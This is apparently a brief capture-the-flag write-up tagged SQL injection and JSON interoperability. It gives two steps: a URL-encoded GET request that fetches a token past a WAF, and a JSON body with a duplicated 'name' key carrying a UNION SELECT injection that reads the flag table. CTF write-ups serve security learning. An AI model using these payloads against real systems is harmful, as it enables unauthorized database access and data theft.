Tags: sqli json_interoperability
Rating:
tl;dr
* Make a GET request to /gettoken%3fcreditcard=mmm&promocode=FREEWAF to get the token.
* Using the token make another request with {"name":"' union select flag, 1, 1, 1 from flag -- -", "name":"x"} to get the flag.